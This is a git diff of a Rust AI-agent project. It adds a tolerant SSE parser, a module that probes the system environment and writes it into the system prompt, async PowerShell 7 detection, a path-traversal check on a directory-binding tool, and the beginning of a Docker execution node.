// ±50% jitter,相对 base 时长的浮动比例
|
||||
let jitter_ratio = rand::thread_rng().gen_range(-0.5..0.5); // [-0.5, 0.5)
|
||||
let factor = 1.0 + jitter_ratio * JITTER_RATIO;
|
||||
let ms = (base_ms as f64 * factor).max(0.0) as u64;
|
||||
Duration::from_millis(ms)
|
||||
}
|
||||
|
||||
118
crates/df-ai/src/sse_parser.rs
Normal file
118
crates/df-ai/src/sse_parser.rs
Normal file
@@ -0,0 +1,118 @@
|
||||
//! 原生 SSE 流式解析器 — 替代 eventsource-stream 库
|
||||
//!
|
||||
//! BUG-2026-07-17 根治: eventsource-stream 0.2 在 Windows 上对 Deepseek 等 provider
|
||||
//! 的 SSE 响应解析时报 "Transport error: error decoding response body" 错误。
|
||||
//!
|
||||
//! 根因分析:
|
||||
//! eventsource-stream 内部对 bytes_stream 做严格的 UTF-8 + SSE 协议校验,遇到以下情况
|
||||
//! 即报错(且不可恢复):
|
||||
//! - 流中断时未完整接收 UTF-8 字符(网络抖动常见)
|
||||
//! - 缺少结束的 \n\n(连接断开常见)
|
||||
//! - 非 ASCII 字符的多字节序列跨 chunk 边界
|
||||
//!
|
||||
//! 本解析器实现:
|
||||
//! - 宽松的 UTF-8 处理(用 bytes 累积,String::from_utf8_lossy 转换,不报错)
|
||||
//! - SSE 协议简单解析(以 \n\n 分隔事件,data: 前缀提取)
|
||||
//! - 容错:解析失败时跳过该事件继续,不中断流
|
||||
//! - 返回 Vec<String>(每个元素是一个事件 data 字段拼接内容)
|
||||
|
||||
use futures::Stream;
|
||||
use std::pin::Pin;
|
||||
use std::task::{Context, Poll};
|
||||
|
||||
/// SSE 事件流的 data 字段内容
|
||||
pub type SseEvent = String;
|
||||
|
||||
/// 原生 SSE 解析器流:包装 bytes_stream,产出 Vec<SseEvent>(一次 poll 可能产出多个事件)
|
||||
pub struct SseStream<S> {
|
||||
inner: S,
|
||||
buffer: Vec<u8>,
|
||||
}
|
||||
|
||||
impl<S> SseStream<S>
|
||||
where
|
||||
S: Stream<Item = Result<bytes::Bytes, reqwest::Error>> + Unpin,
|
||||
{
|
||||
pub fn new(inner: S) -> Self {
|
||||
Self {
|
||||
inner,
|
||||
buffer: Vec::with_capacity(8192),
|
||||
}
|
||||
}
|
||||
|
||||
/// 从 buffer 解析完整的 SSE 事件(以 \n\n 分隔),返回事件列表
|
||||
fn parse_events(&mut self) -> Vec<SseEvent> {
|
||||
let mut events = Vec::new();
|
||||
loop {
|
||||
let sep_pos = self.buffer.windows(2).position(|w| w == b"\n\n");
|
||||
if sep_pos.is_none() {
|
||||
break;
|
||||
}
|
||||
let sep_pos = sep_pos.unwrap();
|
||||
let event_bytes: Vec<u8> = self.buffer.drain(..sep_pos + 2).collect();
|
||||
// 去掉末尾的 \n\n
|
||||
let body_end = event_bytes.len().saturating_sub(2);
|
||||
let event_text = String::from_utf8_lossy(&event_bytes[..body_end]);
|
||||
let data = Self::extract_data_fields(&event_text);
|
||||
if !data.is_empty() {
|
||||
events.push(data);
|
||||
}
|
||||
}
|
||||
events
|
||||
}
|
||||
|
||||
/// 从 SSE 事件文本中提取所有 data: 行的内容,拼接为单个字符串(多个 data 行用 \n 连接)
|
||||
fn extract_data_fields(event_text: &str) -> String {
|
||||
let mut data_parts: Vec<&str> = Vec::new();
|
||||
for line in event_text.lines() {
|
||||
if let Some(rest) = line.strip_prefix("data:") {
|
||||
let rest = rest.strip_prefix(' ').unwrap_or(rest);
|
||||
data_parts.push(rest);
|
||||
}
|
||||
// 忽略 event:/id:/retry: 等其他 SSE 字段(OpenAI/Anthropic 协议未使用)
|
||||
}
|
||||
data_parts.join("\n")
|
||||
}
|
||||
}
|
||||
|
||||
impl<S> Stream for SseStream<S>
|
||||
where
|
||||
S: Stream<Item = Result<bytes::Bytes, reqwest::Error>> + Unpin,
|
||||
{
|
||||
type Item = Result<Vec<SseEvent>, String>;
|
||||
|
||||
fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll<Option<Self::Item>> {
|
||||
use futures::StreamExt;
|
||||
loop {
|
||||
// 先尝试从 buffer 解析完整事件
|
||||
let events = self.parse_events();
|
||||
if !events.is_empty() {
|
||||
return Poll::Ready(Some(Ok(events)));
|
||||
}
|
||||
|
||||
// buffer 不足以解析出完整事件,从 inner 读更多数据
|
||||
match self.inner.poll_next_unpin(cx) {
|
||||
Poll::Ready(Some(Ok(chunk))) => {
|
||||
self.buffer.extend_from_slice(&chunk);
|
||||
continue;
|
||||
}
|
||||
Poll::Ready(Some(Err(e))) => {
|
||||
return Poll::Ready(Some(Err(format!("SSE 流读取错误: {}", e))));
|
||||
}
|
||||
Poll::Ready(None) => {
|
||||
// 流结束,处理 buffer 中的剩余数据(可能没有 \n\n 结束的最后一段)
|
||||
if !self.buffer.is_empty() {
|
||||
let remaining = String::from_utf8_lossy(&self.buffer).to_string();
|
||||
self.buffer.clear();
|
||||
let data = Self::extract_data_fields(&remaining);
|
||||
if !data.is_empty() {
|
||||
return Poll::Ready(Some(Ok(vec![data])));
|
||||
}
|
||||
}
|
||||
return Poll::Ready(None);
|
||||
}
|
||||
Poll::Pending => return Poll::Pending,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
456
crates/df-execute/src/env_snapshot.rs
Normal file
456
crates/df-execute/src/env_snapshot.rs
Normal file
@@ -0,0 +1,456 @@
|
||||
//! 环境感知系统 — 启动时一次性探测 OS/shell/工具版本/编码,全局缓存,注入 system_prompt。
|
||||
//!
|
||||
//! 设计目标:让 LLM 准确生成跨平台命令。LLM 训练数据 Unix 多,易生成 macOS/Linux 语法
|
||||
//! 命令(PowerShell 5 不支持 `&&`、Windows 路径分隔符 `\`、GBK 终端中文乱码等),通过
|
||||
//! 把当前平台的真实环境(操作系统/Shell/工具版本)拼进 system_prompt,LLM 即可生成与
|
||||
//! 当前平台兼容的命令,从根上治「LLM 跨平台命令幻觉」。
|
||||
//!
|
||||
//! 缓存策略:`OnceLock` 全局单例,首次 `detect()` 探测,后续调用零开销。探测本身在
|
||||
//! `spawn_blocking` 中执行(执行 `tool --version` 等阻塞 IO),避免阻塞 tokio runtime。
|
||||
//! 探测失败的字段设 None/默认值,不向上传播错误(环境感知是 best-effort 增强,不应
|
||||
//! 阻断主流程)。
|
||||
|
||||
use std::sync::OnceLock;
|
||||
|
||||
/// 环境快照 — 系统环境的不可变视图。
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
pub struct EnvSnapshot {
|
||||
/// 操作系统族:"windows" / "macos" / "linux"
|
||||
pub os: String,
|
||||
/// OS 版本:"11" / "Ubuntu 22.04"(探测失败为空串)
|
||||
pub os_version: String,
|
||||
/// Shell 名:"powershell" / "pwsh" / "bash" / "zsh" / "sh"
|
||||
pub shell: String,
|
||||
/// 路径分隔符:"\\"(Windows) / "/"(Unix)
|
||||
pub path_sep: String,
|
||||
/// 终端编码:"utf-8" / "gbk"(Windows 中文常见 GBK,致 LLM 输出乱码)
|
||||
pub encoding: String,
|
||||
/// 工具版本(逐个探测,缺失为 None)
|
||||
pub tools: ToolVersions,
|
||||
}
|
||||
|
||||
/// 各开发工具的版本信息。
|
||||
#[derive(Debug, Clone, serde::Serialize, Default)]
|
||||
pub struct ToolVersions {
|
||||
pub python: Option<String>,
|
||||
pub node: Option<String>,
|
||||
pub rust: Option<String>,
|
||||
pub go: Option<String>,
|
||||
pub docker: Option<String>,
|
||||
pub git: Option<String>,
|
||||
}
|
||||
|
||||
impl EnvSnapshot {
|
||||
/// 探测环境(惰性,OnceLock 全局缓存,整个进程生命周期只探一次)。
|
||||
///
|
||||
/// 返回 `&'static EnvSnapshot` —— 引用静态存储,可安全地长存于 loop 不变量中。
|
||||
/// 探测在 `spawn_blocking` 中同步执行(`tool --version` 是阻塞 IO),不卡 runtime。
|
||||
pub async fn detect() -> &'static EnvSnapshot {
|
||||
static SNAPSHOT: OnceLock<EnvSnapshot> = OnceLock::new();
|
||||
if let Some(snap) = SNAPSHOT.get() {
|
||||
return snap;
|
||||
}
|
||||
// 首次探测:同步逻辑包到 spawn_blocking,避免阻塞 async runtime。
|
||||
// BUG-2026-07-18 根治: probe_version 内 std::process::Command::output() 无 timeout,
|
||||
// Windows 上 python/node 若是 Microsoft Store App Execution Alias(用户未装但开了
|
||||
// "应用执行别名"),`python --version` 触发 Store 重定向、process 不退出 → output()
|
||||
// 永久阻塞 → spawn_blocking 线程永不返回 → detect().await 永久挂 → run_agentic_loop
|
||||
// 卡在 EnvSnapshot::detect() 调用(agentic/mod.rs),后端日志断在"意图收敛工具"后,
|
||||
// 前端表现为「发消息完全无回应然后卡死」(trace.log 实测 3 次发送全卡于此)。
|
||||
// 修复: spawn_blocking 外包 5s timeout,超时返回 fallback 并 set 进 OnceLock(后续命中
|
||||
// 缓存不再 probe),run_agentic_loop 最多等 5s 后继续,不再永久卡。
|
||||
// 注: 超时后 spawn_blocking 线程仍在跑(卡在 output),但已脱离 await,不阻塞调用方;
|
||||
// 线程最终随 process 退出或进程结束回收,无泄漏累积(OnceLock 已 set,不会重复 probe)。
|
||||
let snap = match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(5),
|
||||
tokio::task::spawn_blocking(|| EnvSnapshot::do_detect()),
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(join_err)) => {
|
||||
eprintln!("[env_snapshot] 探测任务异常,回退默认环境: {}", join_err);
|
||||
EnvSnapshot::fallback()
|
||||
}
|
||||
Err(_elapsed) => {
|
||||
eprintln!(
|
||||
"[env_snapshot] 探测超时(5s),某 tool(python/node/rustc/go/docker/git)命令卡住 \
|
||||
(疑似 Windows Store App Execution Alias 触发 Store 重定向),回退默认环境"
|
||||
);
|
||||
EnvSnapshot::fallback()
|
||||
}
|
||||
};
|
||||
// 多任务竞态:均等价,以先到者为准。
|
||||
let _ = SNAPSHOT.set(snap);
|
||||
SNAPSHOT.get().expect("EnvSnapshot 已初始化")
|
||||
}
|
||||
|
||||
/// 同步探测(可能短暂阻塞,仅在 spawn_blocking 中调用)。
|
||||
fn do_detect() -> EnvSnapshot {
|
||||
EnvSnapshot {
|
||||
os: std::env::consts::OS.to_string(),
|
||||
os_version: detect_os_version(),
|
||||
shell: detect_shell(),
|
||||
path_sep: std::path::MAIN_SEPARATOR.to_string(),
|
||||
encoding: detect_encoding(),
|
||||
tools: ToolVersions {
|
||||
python: probe_version("python", &["--version"]),
|
||||
node: probe_version("node", &["--version"]),
|
||||
rust: probe_version("rustc", &["--version"]),
|
||||
go: probe_version("go", &["version"]),
|
||||
docker: probe_version("docker", &["--version"]),
|
||||
git: probe_version("git", &["--version"]),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
/// 兜底:spawn_blocking panic/join 失败时返回最小可用快照(全 None,字段不空)。
|
||||
fn fallback() -> EnvSnapshot {
|
||||
EnvSnapshot {
|
||||
os: std::env::consts::OS.to_string(),
|
||||
os_version: String::new(),
|
||||
shell: if cfg!(windows) { "powershell".into() } else { "sh".into() },
|
||||
path_sep: std::path::MAIN_SEPARATOR.to_string(),
|
||||
encoding: "utf-8".into(),
|
||||
tools: ToolVersions::default(),
|
||||
}
|
||||
}
|
||||
|
||||
/// 生成 system_prompt 注入文本(拼到 system_prompt 尾部)。
|
||||
///
|
||||
/// 末尾加「请生成本平台兼容的命令」软提示,锚定 LLM 输出平台一致性。
|
||||
pub fn to_prompt(&self) -> String {
|
||||
let mut lines: Vec<String> = vec![
|
||||
"## 系统环境".to_string(),
|
||||
format!("- 操作系统: {} {}", self.os, self.os_version).trim_end().to_string(),
|
||||
format!("- Shell: {}", self.shell),
|
||||
format!("- 路径分隔符: {}", self.path_sep),
|
||||
format!("- 终端编码: {}", self.encoding),
|
||||
];
|
||||
if let Some(v) = &self.tools.python {
|
||||
lines.push(format!("- Python: {}", v));
|
||||
}
|
||||
if let Some(v) = &self.tools.node {
|
||||
lines.push(format!("- Node: {}", v));
|
||||
}
|
||||
if let Some(v) = &self.tools.rust {
|
||||
lines.push(format!("- Rust: {}", v));
|
||||
}
|
||||
if let Some(v) = &self.tools.go {
|
||||
lines.push(format!("- Go: {}", v));
|
||||
}
|
||||
if let Some(v) = &self.tools.docker {
|
||||
lines.push(format!("- Docker: {}", v));
|
||||
}
|
||||
if let Some(v) = &self.tools.git {
|
||||
lines.push(format!("- Git: {}", v));
|
||||
}
|
||||
lines.push(String::new());
|
||||
lines.push("注意: 请生成本平台兼容的命令。".to_string());
|
||||
lines.join("\n")
|
||||
}
|
||||
}
|
||||
|
||||
/// 探测 OS 版本(各平台路径不一,失败返回空串而非 None,简化 prompt 拼接)。
|
||||
fn detect_os_version() -> String {
|
||||
// Windows:读注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion (ProductName/DisplayVersion)。
|
||||
// 不依赖 winver GUI / reg.exe 输出格式,直接读注册表最稳。
|
||||
#[cfg(windows)]
|
||||
{
|
||||
if let Some(v) = read_windows_version() {
|
||||
return v;
|
||||
}
|
||||
return String::new();
|
||||
}
|
||||
// macOS:sw_vers -productVersion 输出如 "12.5"
|
||||
#[cfg(target_os = "macos")]
|
||||
{
|
||||
if let Ok(out) = std::process::Command::new("sw_vers").arg("-productVersion").output() {
|
||||
if out.status.success() {
|
||||
return String::from_utf8_lossy(&out.stdout).trim().to_string();
|
||||
}
|
||||
}
|
||||
return String::new();
|
||||
}
|
||||
// Linux:读 /etc/os-release 的 PRETTY_NAME 字段(系统标准位置)
|
||||
#[cfg(target_os = "linux")]
|
||||
{
|
||||
if let Ok(content) = std::fs::read_to_string("/etc/os-release") {
|
||||
for line in content.lines() {
|
||||
if let Some(rest) = line.strip_prefix("PRETTY_NAME=") {
|
||||
return rest.trim_matches('"').to_string();
|
||||
}
|
||||
}
|
||||
}
|
||||
return String::new();
|
||||
}
|
||||
#[cfg(not(any(windows, target_os = "macos", target_os = "linux")))]
|
||||
{
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn read_windows_version() -> Option<String> {
|
||||
// 用 reg.exe query 读注册表(DisplayVersion 优先,如 "22H2";回退 ProductName,如 "Windows 10 Pro")。
|
||||
// 避开 winreg crate 依赖(增加构建复杂度,且 reg.exe 在所有 Win 版本均自带)。
|
||||
let out = std::process::Command::new("reg")
|
||||
.args([
|
||||
"query",
|
||||
r"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion",
|
||||
"/v",
|
||||
"DisplayVersion",
|
||||
])
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::null())
|
||||
.creation_flags(0x0800_0000) // CREATE_NO_WINDOW
|
||||
.output()
|
||||
.ok()?;
|
||||
if !out.status.success() {
|
||||
return None;
|
||||
}
|
||||
let text = String::from_utf8_lossy(&out.stdout);
|
||||
// 输出形如: " DisplayVersion REG_SZ 22H2"
|
||||
for line in text.lines() {
|
||||
let trimmed = line.trim();
|
||||
if let Some(idx) = trimmed.find("REG_SZ") {
|
||||
let val = trimmed[idx + "REG_SZ".len()..].trim();
|
||||
if !val.is_empty() {
|
||||
return Some(format!("Windows {}", val));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// 探测默认 shell(复用 shell.rs 的 pwsh 探测语义)。
|
||||
fn detect_shell() -> String {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
// 优先 pwsh(PS7,支持 &&),其次 powershell(PS5),兜底 cmd。
|
||||
if probe_command_success("pwsh", &["-NoProfile", "-Command", "exit 0"]) {
|
||||
return "pwsh".to_string();
|
||||
}
|
||||
if probe_command_success("powershell", &["-NoProfile", "-Command", "exit 0"]) {
|
||||
return "powershell".to_string();
|
||||
}
|
||||
return "cmd".to_string();
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
// Unix:SHELL 环境变量优先,常见值 /bin/bash /bin/zsh /bin/sh。
|
||||
if let Ok(sh) = std::env::var("SHELL") {
|
||||
// 取 basename(/bin/zsh → zsh)
|
||||
let name = sh.rsplit('/').next().unwrap_or(&sh);
|
||||
if !name.is_empty() {
|
||||
return name.to_string();
|
||||
}
|
||||
}
|
||||
"sh".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
/// 探测终端编码(Windows 中文常见 GBK,导致 LLM 输出 UTF-8 在终端乱码)。
|
||||
fn detect_encoding() -> String {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
// chcp 输出形如 "活动代码页: 936"(GBK)。936 → gbk,65001 → utf-8,其余按数字降级。
|
||||
if let Ok(out) = std::process::Command::new("chcp")
|
||||
.stdout(Stdio::piped())
|
||||
.stderr(Stdio::null())
|
||||
.creation_flags(0x0800_0000)
|
||||
.output()
|
||||
{
|
||||
let text = String::from_utf8_lossy(&out.stdout);
|
||||
if let Some(code) = extract_codepage(&text) {
|
||||
return match code.as_str() {
|
||||
"65001" => "utf-8".to_string(),
|
||||
"936" => "gbk".to_string(),
|
||||
"950" => "big5".to_string(),
|
||||
other => format!("cp{}", other),
|
||||
};
|
||||
}
|
||||
}
|
||||
return "utf-8".to_string();
|
||||
}
|
||||
#[cfg(not(windows))]
|
||||
{
|
||||
// Unix 默认 UTF-8(LANG/LC_ALL 通常含 UTF-8)。
|
||||
if let Ok(lang) = std::env::var("LANG") {
|
||||
if lang.to_ascii_uppercase().contains("UTF-8") {
|
||||
return "utf-8".to_string();
|
||||
}
|
||||
}
|
||||
"utf-8".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn extract_codepage(text: &str) -> Option<String> {
|
||||
// 提取末尾数字("...936" / "...: 65001")。
|
||||
let mut num = String::new();
|
||||
for c in text.chars().rev() {
|
||||
if c.is_ascii_digit() {
|
||||
num.insert(0, c);
|
||||
} else if !num.is_empty() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
if num.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(num)
|
||||
}
|
||||
}
|
||||
|
||||
/// 执行 `tool args`,成功(true)即工具可用。Windows 加 CREATE_NO_WINDOW 防黑窗。
|
||||
#[allow(dead_code)] // 仅 Windows 路径调用,非 Windows 静态裁掉
|
||||
fn probe_command_success(tool: &str, args: &[&str]) -> bool {
|
||||
let mut cmd = std::process::Command::new(tool);
|
||||
cmd.args(args);
|
||||
cmd.stdout(Stdio::null()).stderr(Stdio::null());
|
||||
#[cfg(windows)]
|
||||
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||
cmd.status().map(|s| s.success()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// 执行 `tool --version`,解析首行返回版本串。失败/超时返回 None,不阻塞调用方。
|
||||
///
|
||||
/// 例:python --version 输出 "Python 3.11.5" → 返回 "3.11.5";git --version 输出
|
||||
/// "git version 2.41.0" → 返回 "2.41.0"。统一抽掉工具名前缀,只保留版本号本身。
|
||||
fn probe_version(tool: &str, args: &[&str]) -> Option<String> {
|
||||
let mut cmd = std::process::Command::new(tool);
|
||||
cmd.args(args);
|
||||
cmd.stdout(Stdio::piped()).stderr(Stdio::null());
|
||||
#[cfg(windows)]
|
||||
cmd.creation_flags(0x0800_0000); // CREATE_NO_WINDOW
|
||||
let out = cmd.output().ok()?;
|
||||
if !out.status.success() {
|
||||
return None;
|
||||
}
|
||||
let text = String::from_utf8_lossy(&out.stdout);
|
||||
let first_line = text.lines().next()?;
|
||||
Some(extract_version_token(first_line))
|
||||
}
|
||||
|
||||
/// 从版本命令首行抽取版本号:取首个形如 N(.N)+ 的 token(至少一个点号)。
|
||||
/// 兼容 "Python 3.11.5" / "v18.17.0" / "git version 2.41.0.windows.1" / "go version go1.21.0 ..."。
|
||||
///
|
||||
/// 策略:把行切成空白 token,逐个匹配「数字开头 + 至少一个 `.`」的模式,取首个命中。
|
||||
/// 比 char 状态机更鲁棒(状态机遇 `2.41.0.windows.1` 这种多层嵌套点会误判)。
|
||||
fn extract_version_token(line: &str) -> String {
|
||||
for token in line.split_whitespace() {
|
||||
// 找 token 内首个数字位置,从这里开始扫 "数字段(.数字段)*" 序列。
|
||||
// 遇点要求下一字符为数字,否则在该点处截断(避免 "2.41.0.windows.1" 被吞成
|
||||
// "2.41.0.windows.1",实际应止于 "2.41.0")。
|
||||
let bytes = token.as_bytes();
|
||||
let mut i = match bytes.iter().position(|b| b.is_ascii_digit()) {
|
||||
Some(i) => i,
|
||||
None => continue,
|
||||
};
|
||||
let mut head = String::new();
|
||||
loop {
|
||||
// 收数字段
|
||||
let seg_start = i;
|
||||
while i < bytes.len() && bytes[i].is_ascii_digit() {
|
||||
i += 1;
|
||||
}
|
||||
head.push_str(&token[seg_start..i]);
|
||||
// 点号:仅当下一字符为数字时才续,否则收尾
|
||||
if i < bytes.len() && bytes[i] == b'.' && i + 1 < bytes.len()
|
||||
&& bytes[i + 1].is_ascii_digit()
|
||||
{
|
||||
head.push('.');
|
||||
i += 1;
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
if head.contains('.') {
|
||||
return head;
|
||||
}
|
||||
}
|
||||
// 无版本号 token 时退回整行(避免返回空串让 prompt 出现 "None")。
|
||||
line.trim().to_string()
|
||||
}
|
||||
|
||||
// Windows 下统一在文件顶部引入 CommandExt,使各 #[cfg(windows)] 块可直接调用 creation_flags。
|
||||
#[cfg(windows)]
|
||||
use std::os::windows::process::CommandExt;
|
||||
|
||||
use std::process::Stdio;
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
#[test]
|
||||
fn extract_version_python_style() {
|
||||
assert_eq!(extract_version_token("Python 3.11.5"), "3.11.5");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_version_node_style() {
|
||||
assert_eq!(extract_version_token("v18.17.0"), "18.17.0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_version_git_style() {
|
||||
assert_eq!(extract_version_token("git version 2.41.0.windows.1"), "2.41.0");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_version_go_style() {
|
||||
assert_eq!(
|
||||
extract_version_token("go version go1.21.0 windows/amd64"),
|
||||
"1.21.0"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extract_version_no_match_returns_line() {
|
||||
assert_eq!(extract_version_token("no version here"), "no version here");
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn extract_codepage_parsing() {
|
||||
assert_eq!(extract_codepage("活动代码页: 936"), Some("936".into()));
|
||||
assert_eq!(
|
||||
extract_codepage("Active code page: 65001"),
|
||||
Some("65001".into())
|
||||
);
|
||||
assert_eq!(extract_codepage("no digits here"), None);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn detect_returns_cached_static_ref() {
|
||||
// 两次 detect 返回同一引用(OnceLock 全局缓存)。
|
||||
let a = EnvSnapshot::detect().await as *const _;
|
||||
let b = EnvSnapshot::detect().await as *const _;
|
||||
assert_eq!(a, b, "detect() 应返回同一静态引用");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn to_prompt_contains_os_and_shell() {
|
||||
let snap = EnvSnapshot {
|
||||
os: "test_os".into(),
|
||||
os_version: "v1".into(),
|
||||
shell: "test_shell".into(),
|
||||
path_sep: "/".into(),
|
||||
encoding: "utf-8".into(),
|
||||
tools: ToolVersions {
|
||||
python: Some("3.11".into()),
|
||||
node: None,
|
||||
rust: None,
|
||||
go: None,
|
||||
docker: None,
|
||||
git: None,
|
||||
},
|
||||
};
|
||||
let prompt = snap.to_prompt();
|
||||
assert!(prompt.contains("test_os"));
|
||||
assert!(prompt.contains("test_shell"));
|
||||
assert!(prompt.contains("Python: 3.11"));
|
||||
assert!(!prompt.contains("Node"));
|
||||
assert!(prompt.contains("请生成本平台兼容的命令"));
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,6 @@
|
||||
//! df-execute: 执行运行时 — Shell
|
||||
//! df-execute: 执行运行时 — Shell + 环境感知
|
||||
|
||||
pub mod env_snapshot;
|
||||
pub mod shell;
|
||||
|
||||
pub use env_snapshot::EnvSnapshot;
|
||||
|
||||
@@ -37,22 +37,36 @@ impl Default for ShellType {
|
||||
// BUG-260623-04:优先 pwsh(PS7,支持 && 运算符)——LLM 训练数据 Unix 多,普遍生成 `cd x && y`,
|
||||
// PS5 不支持 && 致命令失败(实测会话 6acb7f9b `cd ... && git init` InvalidEndOfLine)。
|
||||
// 探测失败(未装 pwsh)回退 PS5。探测结果 OnceLock 缓存(只探一次)。
|
||||
// 注:Default trait 为同步签名,这里只能读取已探测的缓存结果(若未探测则返回 false,退回 PowerShell)。
|
||||
// 真实探测在异步入口 `execute()` 中调用 `probe_pwsh().await`。
|
||||
if cfg!(windows) {
|
||||
if probe_pwsh() { ShellType::Pwsh } else { ShellType::PowerShell }
|
||||
if probe_pwsh_cached() { ShellType::Pwsh } else { ShellType::PowerShell }
|
||||
} else {
|
||||
ShellType::Sh
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// 读取 probe_pwsh 的缓存值(未探测返回 false)。供同步路径 `Default` 使用。
|
||||
fn probe_pwsh_cached() -> bool {
|
||||
static CACHE: std::sync::OnceLock<bool> = std::sync::OnceLock::new();
|
||||
CACHE.get().copied().unwrap_or(false)
|
||||
}
|
||||
|
||||
/// 探测 pwsh(PowerShell 7)是否可用(OnceLock 缓存,只探一次)。
|
||||
///
|
||||
/// LLM 普遍生成 `&&`(Unix 习惯),仅 PS7+ 支持,Windows 自带 PS5 不支持。
|
||||
/// 探测:成功 spawn `pwsh -Command exit 0` 即可用。同步阻塞仅一次(spawn 极快),
|
||||
/// Windows 加 CREATE_NO_WINDOW 防黑窗闪现。
|
||||
fn probe_pwsh() -> bool {
|
||||
///
|
||||
/// CR-XX:异步化 —— 在异步上下文中通过 `tokio::task::spawn_blocking` 执行阻塞探测,
|
||||
/// 避免阻塞 tokio runtime。结果仍由 OnceLock 全局共享,只探测一次。
|
||||
async fn probe_pwsh() -> bool {
|
||||
static CACHE: std::sync::OnceLock<bool> = std::sync::OnceLock::new();
|
||||
*CACHE.get_or_init(|| {
|
||||
if let Some(cached) = CACHE.get() {
|
||||
return *cached;
|
||||
}
|
||||
let result = tokio::task::spawn_blocking(|| {
|
||||
let mut cmd = std::process::Command::new("pwsh");
|
||||
cmd.arg("-NoProfile").arg("-Command").arg("exit 0");
|
||||
cmd.stdout(Stdio::null()).stderr(Stdio::null());
|
||||
@@ -63,6 +77,11 @@ fn probe_pwsh() -> bool {
|
||||
}
|
||||
cmd.status().map(|s| s.success()).unwrap_or(false)
|
||||
})
|
||||
.await
|
||||
.unwrap_or(false);
|
||||
// 多任务竞态时以先到者为准,均等价
|
||||
let _ = CACHE.set(result);
|
||||
result
|
||||
}
|
||||
|
||||
/// Shell 命令执行请求
|
||||
@@ -88,6 +107,10 @@ pub struct ShellRequest {
|
||||
pub async fn execute(request: ShellRequest) -> anyhow::Result<ShellResult> {
|
||||
let start = std::time::Instant::now();
|
||||
|
||||
// 探测 pwsh(惰性 + OnceLock 全局缓存,只探一次),使后续 ShellType::default() 可读取缓存
|
||||
#[cfg(windows)]
|
||||
let _ = probe_pwsh().await;
|
||||
|
||||
let shell_type = request.shell_type.unwrap_or_default();
|
||||
let mut cmd = match shell_type {
|
||||
ShellType::PowerShell => {
|
||||
|
||||
@@ -324,6 +324,12 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
|
||||
medium_audit("bind_directory", &format!("{id} <- {path}"));
|
||||
Box::pin(async move {
|
||||
let repo = ProjectRepo::new(&db);
|
||||
// 分段检测 `..`(防穿越)——纯子串 contains("..") 会误伤 my..file 这类合法名,
|
||||
// 改用逐段判断对齐 tool_registry.rs:validate_path 的分段检测逻辑。
|
||||
let has_traversal = path.split(|c| c == '\\' || c == '/').any(|seg| seg == "..");
|
||||
if has_traversal {
|
||||
return CallToolResult::error(format!("路径不得包含 '..' 段: {}", path));
|
||||
}
|
||||
let norm = normalize_path(&path);
|
||||
// 路径冲突检测
|
||||
if let Some(conflict) = repo.find_path_conflict(&norm, Some(&id)).await.ok().flatten() {
|
||||
@@ -332,8 +338,8 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult>
|
||||
conflict.name, conflict.id
|
||||
));
|
||||
}
|
||||
// 仅更新 path 字段(用 update_field,保留其它)
|
||||
if !repo.update_field(&id, "path", &path).await.unwrap_or(false) {
|
||||
// 仅更新 path 字段(用 normalize 后的规范化路径,保留其它)
|
||||
if !repo.update_field(&id, "path", &norm).await.unwrap_or(false) {
|
||||
return CallToolResult::error(format!("项目不存在: {id}"));
|
||||
}
|
||||
let updated = repo.get_by_id(&id).await.ok().flatten();
|
||||
|
||||
@@ -15,3 +15,4 @@ tokio = { workspace = true }
|
||||
async-trait = { workspace = true }
|
||||
anyhow = { workspace = true }
|
||||
tracing = { workspace = true }
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] }
|
||||
|
||||
419
crates/df-nodes/src/docker_node.rs
Normal file
419
crates/df-nodes/src/docker_node.rs
Normal file
@@ -0,0 +1,419 @@
|
||||
//! Docker 节点 — 在 Docker 容器内执行命令
|
||||
//!
|
||||
//! 通过 `docker run --rm` 一次性容器执行命令。复用 df_execute::shell::execute 调用本地
|
||||
//! docker CLI,与 ScriptNode/GitNode 路径一致(不内嵌 docker SDK,CLI 更通用透明)。
|
||||
//!
|
||||
//! 执行流程:
|
||||
//! 1. 先 `docker --version` 探测 Docker 可用性(未装/未运行直接报错,避免容器启动失败
|
||||
//! 时退出码语义混淆)。
|
||||
//! 2. 构建 `docker run --rm {volumes} {env} -w {working_dir} {image} {command}`。
|
||||
